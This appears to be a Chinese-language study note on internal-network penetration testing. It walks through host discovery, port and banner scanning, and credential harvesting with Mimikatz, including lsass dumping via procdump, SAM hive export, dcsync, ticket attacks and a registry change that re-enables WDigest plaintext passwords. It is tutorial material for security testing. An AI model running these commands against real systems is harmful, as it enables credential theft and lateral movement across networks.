10月2日笔记(内网资源探测篇)

内网资源探测

在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。这些信息可以帮助测试人员发现内网的薄弱资源,确定后续的攻击方向。

发现内网存活主机

基于ICMP发现存活主机

可以使用ICMP循环对整个网段中的每个IP地址执行ping命令,所以能够ping通的ip地址即为内网中存活的主机。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="

说明该局域网C段存活三台主机。

基于NetBIOS(网络基本输入/输出系统)协议发现存活主机

NetBIOS提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WTNS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在Windows中,默认安装TCP/IP后会自动安装NetBIOS。

在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的P地址、NetBIOS计算机名、登录用户名和MAC地址。

下载链接:nbtscan下载

将nbscan.exe上传到目标主机,执行以下命令:

nbscan.exe 192.168.52.1/24

基于UDP发现存活主机

在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。

Unicornscan是Kali Linux平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过UDP协议扫描内网的存活主机。

unicornscan -mU 192.168.52.0/24

基于ARP发现存活主机

ARP(Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该P地址和物理地址存入本机ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。

在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。

1、ARP-Scan的使用

ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机。

项目:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan

执行以下命令,即可扫描内网中存活的主机。

arp-scan.exe -t 192.168.52.0/24

2、PowerShell的利用

脚本地址:git/Invoke-ARPScan.ps1 at master · sinmygit/git · GitHub

Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机。使用时,需要将脚本导入执行:

Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.52.0/24

发现无法执行脚本,以管理员的身份打开powershell。执行以下命令:

set-ExecutionPolicy RemoteSigned

更改策略之后就不会报错了。

基于SMB(Server Message Block,服务器消息块)协议发现存活主机

SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。

在实际利用中,可以探测局域网中存在的SMB服务,从而发现更多的存活主机。多用于windows主机的发现。

CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WNRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性。执行以下命令:

crackmapexec smb 193.168.52.0/24

探测局域网中存在的SMB服务,从而发现内网中的存活主机。

内网端口扫描

1、使用telnet探测端口

Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。

telnet <IP> <Port>

像这种就是说明对应的端口是开放的。

2、使用nmap进行端口扫描

扫描指定端口:

nmap -p <Port> <ip>
eg:nmap -p 80,88,135,139,443,8080,3306,3389 192.168.52.138

扫描目标主机全部开发端口:

nmap -p 1-65535 -sS 192.168.52.138

利用MetaSploit探测内网

获取端口Banner信息

Banner中可能包含一些敏感信息。通过查看端口的Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。

1、利用Netcat(nc)获取端口Banner

通过指定netcat的“nv”选项,可以在连接指定的端口时获取该端口的Banner信息。

nc -nv <ip> <port>

我这里的是没有这个提示,但是有些端口可能会有。

2、利用Telnet获取端口Banner

如果端口开放,使用telnet连接后,也会返回相应的Banner信息。

telnet <IP> <Port>

3、利用nmap获取端口Banner

在nmap中指定脚本“–script=banner”,可以在端口扫描过程中获取端口的Banner信息。

nmap --script=banner -p <ports> <IP>

用户凭据收集

当测试人员获取某台机器后,会以被攻陷的主机为跳板进行横向渗透,进一步扩大所掌控的资源范围。但是横向渗透中的很多攻击都需要先获取到域内用户的密码或者哈希值才能进行,如:哈希传递攻击、票据传递攻击等。所以在进行信息收集时,要尽可能收集域内用户的登录凭据等信息。

获取域内单机密码和哈希值

SAM文件是什么?lsass.exe系统进程的作用?

在Windows中,**SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System3\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。**用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值对比,若相同,则认证成功。**lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。**在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。

用于获取主机的用户密码和哈希值的工具大多都是通过多去SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多都需要管理员权限,意味着需要配合一些提权操作。

Mimikatz工具的使用

Mimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域

项目地址:https://github.com/gentilkiwi/mimikatz/

Mimikatz使用教程

privilege(提权相关模块)

attention:privilege::debug进入mimikatz命令交互界面的首要操作,也是最基本的操作。

privilege::security     //调整为安全权限 
privilege::restore      //恢复原来权限 
privilege::sysenv       //调整为系统环境权限 
privilege::driver       //调整为装载驱动权限

sekurlsa(与用户凭证相关的模块,可以从lsass进程中提取passwords、keys、tickets等信息)

sekurlsa::msv      //读取用户对应密码的各种加密协议的密文(NTML、SHA1等),低版本windows可以读取为明文
sekurlsa::wdigest     //wdigest凭证,运用程序漏洞可逆的手法去读取密码明文
sekurlsa::tspkg       //tspkg凭证sekurlsa::logonpasswords    //常用并重点使用!!!直接集成上面多条指令功能,读取用户各种凭证和信息。sekurlsa::tickets                 //列出kerberos中的票据
sekurlsa::tickets /export         //导出票据#下面两条命令结合使用,可以将转储的lsass进程为lsass.dmp文件,离线读取内存信息
sekurlsa::minidump <filename>或lsass.dump      //加载对应文件(lsass.dump)
sekurlsa::logonPasswords full        //读取文件信息
kerberos 协议相关模块(常用于 黄金/白银票据)
kerberos::list      //列出系统中的所有票据
kerberos::purge     //清除系统中的票据
kerberos::ptt       //pass-the-ticket,票据传递攻击(内网横移操作)
kerberos::golden    //伪造黄金和白银票据使用,具体构造方法不相同kerberos::ptc      //票据路径
kerberos::ptc <票据名>    //导入票据

process(进程模块)

process::list      //列出进程列表
process::exports      //导出进程列表
process::start      //开始一个进程
process::stop      //停止一个进程

service(服务管理模块)

service::start         //开始服务。
service::remove        //移除服务。
service::stop         //停止服务。
service::suspend        //暂停服务。
service::resume         //恢复服务。
service::preshutdown    //关闭服务。
service::shutdown       //关闭服务。
service::list           //列出服务。

lsadump(对域控操作模块)

Lsadump::secrets       //从registry获取保存的密码凭据,可以直接获取明文密码。
lsadump::lsa /patch     //读取所有用户的哈希
lsadump::sam      //sam表获取Hash
lsadump::dcsync      //通过dcsync利用目录复制服务(DRS)从NTDS.DIT文件中拿到密码哈希值(在域控权限下获取)
lsadump::dcsync /domain:xxxx.com /user:xxxx       //查看域内指定用户信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv       //查看所有域用户
1、在线读取lsass进程内存

上传mimikatz.exe到目标主机之后。

mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit 

2、离线读取lsass内存文件

mimikatz无法上传到目标主机,可以使用Procdump工具进行进程离线存储成dmp文件。

项目地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

首先在目标主机上传Prodump程序(微软的不会杀掉),执行以下命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后在攻击机上执行一下命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

注意:微软在2014年5月发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows Server20l2及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码。

开启WDigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭WDigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在线读取本地SAM文件

将mimikatz.exe上传到目标主机后执行以下命令:

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

token::elevate------------用于提升至SYSTEM权限

读取SAM文件中保存的用户登录凭据,可以导出当前系统重所有本地用户的哈希值。

离线读取本地的SAM文件

离线读取就是将SAM文件导出,使用Mimikatz加载并读取其中的用户登录凭据等信息。注意,为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。

在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。

脚本地址:PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1 at master · PowerShellMafia/PowerSploit · GitHub

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM

也可以在管理员权限下执行命令:通过保存注册表的方式导出

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/438731.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL SERVER 从嫌弃存储到爱上存储过程我给存储过程开发了版本控制工具和远程调试功能...

优缺点 SQL SERVER 爱上存储过程我给存储过程开发了版本控制工具和远程调试功能 先说说 存储过程的优缺点吧存储过程的优点 提高执行效率&#xff1a;存储过程是预编译的&#xff0c;执行速度较快&#xff0c;减少了网络传输量。 减少开发工作量&#xff1a;存储过程可以将复杂…

数据结构——对顺序线性表的操作

大家好啊&#xff0c;今天给大家分享一下对于顺序线性表的相关操作&#xff0c;跟随我的步伐来开始这一篇的学习吧&#xff01; 如果有知识性错误&#xff0c;欢迎各位指正&#xff01;&#xff01;一起加油&#xff01;&#xff01; 创作不易&#xff0c;希望大家多多支持哦…

中级软件设计师:一文搞懂下午第一题——数据流图技术

中级软件设计师&#xff1a;一文搞懂下午第一题——数据流图技术 0. 答题技巧-【11-12分】分必拿方法0. 本章的考点1. 数据流图的基本元素1.1 数据流1.2 加工1.3 数据存储(文件)1.4 外部实体1.5 分层数据流图&#xff08;DFD&#xff09;1.6 自顶至下&#xff0c;逐步精化1.6.1…

8645 归并排序(非递归算法)

### 思路 非递归归并排序通过逐步合并相邻的子数组来实现排序。每次合并后输出当前排序结果。 ### 伪代码 1. 读取输入的待排序关键字个数n。 2. 读取n个待排序关键字并存储在数组中。 3. 对数组进行非递归归并排序&#xff1a; - 初始化子数组的大小curr_size为1。 - 逐…

GO网络编程(二):客户端与服务端通信【重要】

本节是新知识&#xff0c;偏应用&#xff0c;需要反复练习才能掌握。 目录 1.C/S通信示意图2.服务端通信3.客户端通信4.通信测试5.进阶练习&#xff1a;客户端之间通信 1.C/S通信示意图 客户端与服务端通信的模式也称作C/S模式&#xff0c;流程图如下 其中P是协程调度器。可…

使用VBA快速生成Excel工作表非连续列图片快照

Excel中示例数据如下图所示。 现在需要拷贝A2:A15,D2:D15,J2:J15,L2:L15,R2:R15为图片&#xff0c;然后粘贴到A18单元格&#xff0c;如下图所示。 大家都知道VBA中Range对象有CopyPicture方法可以拷贝为图片&#xff0c;但是如果Range对象为非连续区域&#xff0c;那么将产生10…

Web安全 - 安全防御工具和体系构建

文章目录 安全标准和框架1. 国内安全标准&#xff1a;等级保护制度&#xff08;等保&#xff09;2. 国际安全标准&#xff1a;ISO27000系列3. NIST安全框架&#xff1a;IDPRR方法4. COBIT与ITIL框架 防火墙防火墙的基本作用防火墙的三种主要类型防火墙的防护能力防火墙的盲区 W…

【MATLAB2024b】安装离线帮助文档(windows)

文章目录 一、在 MATLAB 设置中安装二、从math works 网站下载ISO&#xff1a;给无法联网的电脑安装三、重要说明 版本&#xff1a;matlab 2024b&#xff08;或者大于等于2023a&#xff09; 所需空间&#xff1a;10~15 GB 平台&#xff1a;Windows 需要注册math works账号。 一…

【计算机网络】详解UDP协议格式特点缓冲区

一、UDP 协议端格式 16 位 UDP 长度, 表示整个数据报(UDP 首部UDP 数据)的最大长度&#xff1b;如果16位UDP检验和出错&#xff0c;报文会被直接丢弃。 1.1、检验和出错的几种常见情况 数据传输过程中的比特翻转&#xff1a;在数据传输过程中&#xff0c;由于物理介质或网络设…

UE5.4.3 录屏回放系统ReplaySystem蓝图版

这是ReplaySystem的蓝图使用方法版&#xff0c;以第三人称模版为例&#xff0c;需要几个必须步骤 项目config内DefaultEngine.ini的最后添加&#xff1a; [/Script/Engine.GameEngine] NetDriverDefinitions(DefName"DemoNetDriver",DriverClassName"/Script/…

二、Spring Boot集成Spring Security之实现原理

Spring Boot集成Spring Security之实现原理 一、Spring Security实现原理概要介绍二、使用WebSecurityConfiguration向Spring容器中注册FilterChainProxy类型的对象springSecurityFilterChain1、未配置securityFilterChain过滤器链时使用默认配置用于生成默认securityFilterCha…

JDBC 快速入门

JDBC 快速入门 搭建步骤代码实现数据库java 代码 搭建步骤 准备数据库官网下载数据库连接驱动jar 包。https://downloads.mysql.com/archives/c-j/创建 java 项目&#xff0c;在项目下创建 lib 文件夹&#xff0c;将下载的驱动 jar 包复制到文件夹里选中 lib 文件夹右键 ->…

第二十一章 (动态内存管理)

1. 为什么要有动态内存分配 2. malloc和free 3. calloc和realloc 4. 常⻅的动态内存的错误 5. 动态内存经典笔试题分析 6. 总结C/C中程序内存区域划分 1.为什么要有动态内存管理 我们目前已经掌握的内存开辟方式有 int main() {int num 0; //开辟4个字节int arr[10] …

【EXCEL数据处理】000009 案列 EXCEL单元格数字格式。文本型数字格式和常规型数字格式的区别

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 【EXCEL数据处理】000009 案列 EXCEL单元格数字格式。文本型数字格式和…

CTK框架(十一):使用的常见问题

目录 1.MF文件路径 2.服务必须要接口类 3.插件名命名要求 4.生命周期问题 5.一个接口对多个实现注意 6.中文输出注意 7.同一插件安装注意 8.添加元数据 9.关于升级插件时遇到的问题 10.不同插件定义资源文件注意路径问题 11.安装插件 12.插件依赖 1.MF文件路径 在…

K8S:开源容器编排平台,助力高效稳定的容器化应用管理

云计算de小白 Kubernetes&#xff08;简称K8s&#xff09;是一个开源容器编排平台&#xff0c;用于自动化部署、扩展和管理容器化应用程序。 K8S诞生于Google&#xff0c;基于其多年在生产环境运行容器的经验&#xff0c;目前已成为现代微服务架构和云原生应用的核心技术。 图…

【C++算法】10.滑动窗口_长度最小的子数组

文章目录 题目链接&#xff1a;题目描述&#xff1a;解法C 算法代码&#xff1a;图解 题目链接&#xff1a; 209. 长度最小的子数组 题目描述&#xff1a; 解法 解法一&#xff1a;暴力求解&#xff08;会超时&#xff09; 暴力枚举出所有子数组的和。 查找子数组n2&#xff0…

云计算 Cloud Computing

文章目录 1、云计算2、背景3、云计算的特点4、云计算的类型&#xff1a;按提供的服务划分5、云计算的类型&#xff1a;按部署的形式划分 1、云计算 定义&#xff1a; 云计算是一种按使用量付费的模式&#xff0c;这种模式提供可用的、便捷的、按需的网络访问&#xff0c;进入可…

idea插件开发的第六天-开发一个笔记插件

介绍 Demo说明 本文基于maven项目开发,idea版本为2022.3以上,jdk为1.8本文在JTools插件之上进行开发本插件目标是做一款笔记插件,用于开发者在开发过程中随时记录信息仓库地址: jtools-notes JTools插件说明 Tools插件是一个Idea插件,此插件提供统一Spi规范,极大的降低了id…

微型导轨在IC制造设备的应用与优势

微型导轨的精度和稳定性对于机器的准确执行任务至关重要&#xff0c;其精确度通常用微米或毫米来衡量。其尺寸可以做到非常小&#xff0c;常运用在小型设备上&#xff0c;尤其是在IC制造设备中&#xff0c;其应用非常广泛。 在IC制造设备中主要用于半导体芯片的切割、封装和测试…